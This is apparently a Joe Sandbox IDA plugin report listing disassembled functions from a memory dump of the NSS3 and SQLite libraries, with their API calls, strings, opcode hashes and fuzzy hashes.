Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: d88de4fdf7f7f3b09e91e2858782a1ad5c74274723fbc326fc445348a5ee2232
Instruction ID: aca01cd23f0cd92c2aef11e4ace43c2244b63bace28d6d8c3d38490602cddbdd
Opcode Fuzzy Hash: d88de4fdf7f7f3b09e91e2858782a1ad5c74274723fbc326fc445348a5ee2232
Instruction Fuzzy Hash: FB91E175B022158FDB04CF29C850BAAB7F5BF49314F1949ACE865AB792DB34EC01CB60

Function 6C9EFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C9EFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9EFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9EFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C9EFDDE

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

Strings

pkcs11:, xrefs: 6C9EFC4F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: ca09e34eb4a7041a5e3b5cda6a4d150bc358430e65b69a02e087845f4a3b0dd9
Instruction ID: 3bf3101a8556308f07939bebeb4e8e6553c000ffdb302f628172e630cce492bd
Opcode Fuzzy Hash: ca09e34eb4a7041a5e3b5cda6a4d150bc358430e65b69a02e087845f4a3b0dd9
Instruction Fuzzy Hash: 635105B2B001119BEF028F65ED40B9A3B79AF7935CF250066DD145BF41E731E989CB92

Function 6C92B8B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B2E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CA5A4E2), ref: 6C92B948
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B19,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?), ref: 6C92B9BE

Strings

database corruption, xrefs: 6C92B93C, 6C92B9B2
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92B932, 6C92B9A8
%s at line %d of [%.10s], xrefs: 6C92B941, 6C92B9B7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fa61db947aace8392f1dc4c89e0d471371538d78d2447e5bd1d1f8e94d2f783b
Instruction ID: 7ce0748da64ca771c5aa17865b20efc0dc1745d9fd2b2810282599e18f76e33a
Opcode Fuzzy Hash: fa61db947aace8392f1dc4c89e0d471371538d78d2447e5bd1d1f8e94d2f783b
Instruction Fuzzy Hash: 5741CE346052049FD704DF29D890FAA7BF5AF4530CF1584A8E88A9F752E735EC81DBA0

Function 6C92BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C92BE02

Part of subcall function 6CA59C40: memcmp.VCRUNTIME140(?,00000000,6C92C52B), ref: 6CA59D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92BE9F

Strings

database corruption, xrefs: 6C92BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92BE89
%s at line %d of [%.10s], xrefs: 6C92BE98

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 49a23d2bf2a9ece09205e447380d60a0bfcf97f27a40ebf0c5349b7c892d4a4d
Instruction ID: c2f74b9eb3abe0c96540c25e4d52b9ac1e6d9a2f8d15dbefa5fd31783f56fac3
Opcode Fuzzy Hash: 49a23d2bf2a9ece09205e447380d60a0bfcf97f27a40ebf0c5349b7c892d4a4d
Instruction Fuzzy Hash: 80315431A142598BC300CF29D894AAFBBF2AF41314B098554EEDA1BA85D338EC45C3D1

Function 6CA7A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C947915,?,?), ref: 6CA7A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C947915,?,?), ref: 6CA7A8A6

Strings

database corruption, xrefs: 6CA7A89B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA7A891
%s at line %d of [%.10s], xrefs: 6CA7A8A0

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 3f17a1e3bc459d771089fb17c000804e45dcb570a34d111fd651ee7226a8df8e
Instruction ID: 0a3473fcd0c0aef17fca97a27ac14f8223dbb9eaf7fa07aec1229afc64efe86e
Opcode Fuzzy Hash: 3f17a1e3bc459d771089fb17c000804e45dcb570a34d111fd651ee7226a8df8e
Instruction Fuzzy Hash: 8D112975A00214BFD7148F21DC50AAAB7A6FF58314F148438FC194BB41EB34ED96CBA1

Function 6C990DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C990BDE), ref: 6C990DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C990BDE), ref: 6C990DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C990BDE), ref: 6C990DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C990BDE), ref: 6C990E32

Strings

%s incr => %d (find lib), xrefs: 6C990E2D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: e68e67908b2d3032150f8923be9e396deadb79d0f751070badc5e833d39307df
Instruction ID: 007ec852271099f0ce62d723a71446e3ac96c748fdd958b2e6acb9138ffdb16f
Opcode Fuzzy Hash: e68e67908b2d3032150f8923be9e396deadb79d0f751070badc5e833d39307df
Instruction Fuzzy Hash: 0C01D4727003149FE7209F659C45E1773BCDB49A09B09446DE919E3B41E762FC5886E1

Function 6C9979B0 Relevance: 7.9, APIs: 5, Instructions: 427COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C9979DA
sqlite3_value_text.NSS3(?), ref: 6C9979E9
sqlite3_value_text.NSS3(?), ref: 6C9979F6
sqlite3_value_text.NSS3(?), ref: 6C997A05
sqlite3_result_error_code.NSS3(?,00000000), ref: 6C997E05

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_result_error_code
String ID:
API String ID: 1222672844-0
Opcode ID: 6eebd1ce00a2f41cb93643e326ec11ec5dbe280c89bd8bee3d806343a742e458
Instruction ID: 84d7c3f4bbd0c40efe1d91fa4618ec6be841057d644e01bc7f9075268af6e8dd
Opcode Fuzzy Hash: 6eebd1ce00a2f41cb93643e326ec11ec5dbe280c89bd8bee3d806343a742e458
Instruction Fuzzy Hash: 1E0291756083458FD714CF25C480A6AB7F6BF96318F1C896DE89947B11EF31E885CB82

Function 6C922940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C921360,00000000), ref: 6C922A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6C921360,00000000), ref: 6C922A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C922A7C

Part of subcall function 6C922D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,F43318B3,?,?,00000000,?,6C92296E), ref: 6C922DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C922AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6C921360,00000000), ref: 6C922B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6C922B90

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 8039cc687748983ef889c498644fa7dcf2fc79b00de2a7d8c04ec44332fcb16d
Instruction ID: 6106378a815eb96d3e094d9ee04d1b23b78203f553b12b62026e8e7f1a0fdda1
Opcode Fuzzy Hash: 8039cc687748983ef889c498644fa7dcf2fc79b00de2a7d8c04ec44332fcb16d
Instruction Fuzzy Hash: EAC10670F20A068FEB04CF65C8847ABB7B9BF89324F148269C9599B745D738E845CBD0

Function 6C939C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C939CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C939D45
EnterCriticalSection.KERNEL32(?), ref: 6C939D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C939DDE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: c3ca33915ba20d4279afc81995ebb21ee00d38e9d70458301042d001428f404c
Instruction ID: 91c2cc2ed27d0aa21f123cba771290c33b7baf62f2072c92cf6287437612c9c8
Opcode Fuzzy Hash: c3ca33915ba20d4279afc81995ebb21ee00d38e9d70458301042d001428f404c
Instruction Fuzzy Hash: 09A1C0317402118BEB1CAF24E89976E377ABF93319F19512DE42E47A40DF39D846CB92

Function 6C93A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f8bea5a06e1d43c5d17552ec6779e700a298cf6abf0ec9903231d55d57ee1a2
Instruction ID: d45b30ddf375e4d9d477c08ae79b35b668e8923526e016c39b1098aa8f9d25ab
Opcode Fuzzy Hash: 1f8bea5a06e1d43c5d17552ec6779e700a298cf6abf0ec9903231d55d57ee1a2
Instruction Fuzzy Hash: 7E91E2317003158FEF18DFA5E8D9B6A37BABB56308F08102DE54A97A40DF38E845CB91

Function 6C9C1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C9C1ECC

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

TlsGetValue.KERNEL32 ref: 6C9C1EDF
EnterCriticalSection.KERNEL32(?), ref: 6C9C1EEF
PR_ExitMonitor.NSS3(?), ref: 6C9C1F37
PR_Unlock.NSS3(?), ref: 6C9C1F44

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 059e6ae88e51be82acd113151bd1398f2c17de1378990eb8a42dba5b788c21de
Instruction ID: 38533b74d71404164380fd0c3196cc6262ff978dabb7c1ee1d29b910137beecc
Opcode Fuzzy Hash: 059e6ae88e51be82acd113151bd1398f2c17de1378990eb8a42dba5b788c21de
Instruction Fuzzy Hash: CD71AD71A043019FD700CF24D840A5BB7F5FF9A358F144929E89993B21E731E969CB93

Function 6CA4DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA4DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CA4DE77

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f0da4084f11887f3dd85655c75a60e067a92c3d1101bc062dd974ab7819ddcf9
Instruction ID: be745219e2762d8139c48abfb85ddb11cb53777aad2df1ce61c8a82064aab1bc
Opcode Fuzzy Hash: f0da4084f11887f3dd85655c75a60e067a92c3d1101bc062dd974ab7819ddcf9
Instruction Fuzzy Hash: B5715571E00319CFDB20CF9AC580A89B7B4BF49718F29C16DD9596B702D770A986CF90

Function 6C9BDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(D958E852,6C9C1397,5B5F5EC0,?,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB3C
Part of subcall function 6C9BAB10: free.MOZGLUE(D958E836,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB49
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(5D5E6CBB), ref: 6C9BAB5C
Part of subcall function 6C9BAB10: free.MOZGLUE(5D5E6CAF), ref: 6C9BAB63
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C9BAB6F
Part of subcall function 6C9BAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C9BAB76

TlsGetValue.KERNEL32(?,?,6C9BB266,6C9C15C6,?,?,6C9C15C6), ref: 6C9BDFDA
EnterCriticalSection.KERNEL32(?,?,?,6C9BB266,6C9C15C6,?,?,6C9C15C6), ref: 6C9BDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C9BB266,6C9C15C6,?,?,6C9C15C6), ref: 6C9BE029
PK11_IsLoggedIn.NSS3 ref: 6C9BE046

Part of subcall function 6C9C8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FAF
Part of subcall function 6C9C8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FD1
Part of subcall function 6C9C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C8FFA
Part of subcall function 6C9C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9013
Part of subcall function 6C9C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9042
Part of subcall function 6C9C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9C905A
Part of subcall function 6C9C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9C9073
Part of subcall function 6C9C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C9BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9C9111

PR_Unlock.NSS3(?,?,?,?,6C9BB266,6C9C15C6,?,?,6C9C15C6), ref: 6C9BE149

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 513def55633c82dff262d655b5e1d16052ddae4e5d74a992b1155bd02983ee76
Instruction ID: 3a0427010847dcb03cfa9a3cd38bdae4315f446fba96bb01e1f4d79979747ae0
Opcode Fuzzy Hash: 513def55633c82dff262d655b5e1d16052ddae4e5d74a992b1155bd02983ee76
Instruction Fuzzy Hash: CB515974604611EFDB10DF29C48476BBBF8BF54309F19889CD899ABB41D735E885CB82

Function 6C9CBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C9CBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9CBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C9A9F71,?,?,00000000), ref: 6C9CBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C9CBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9CC014

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
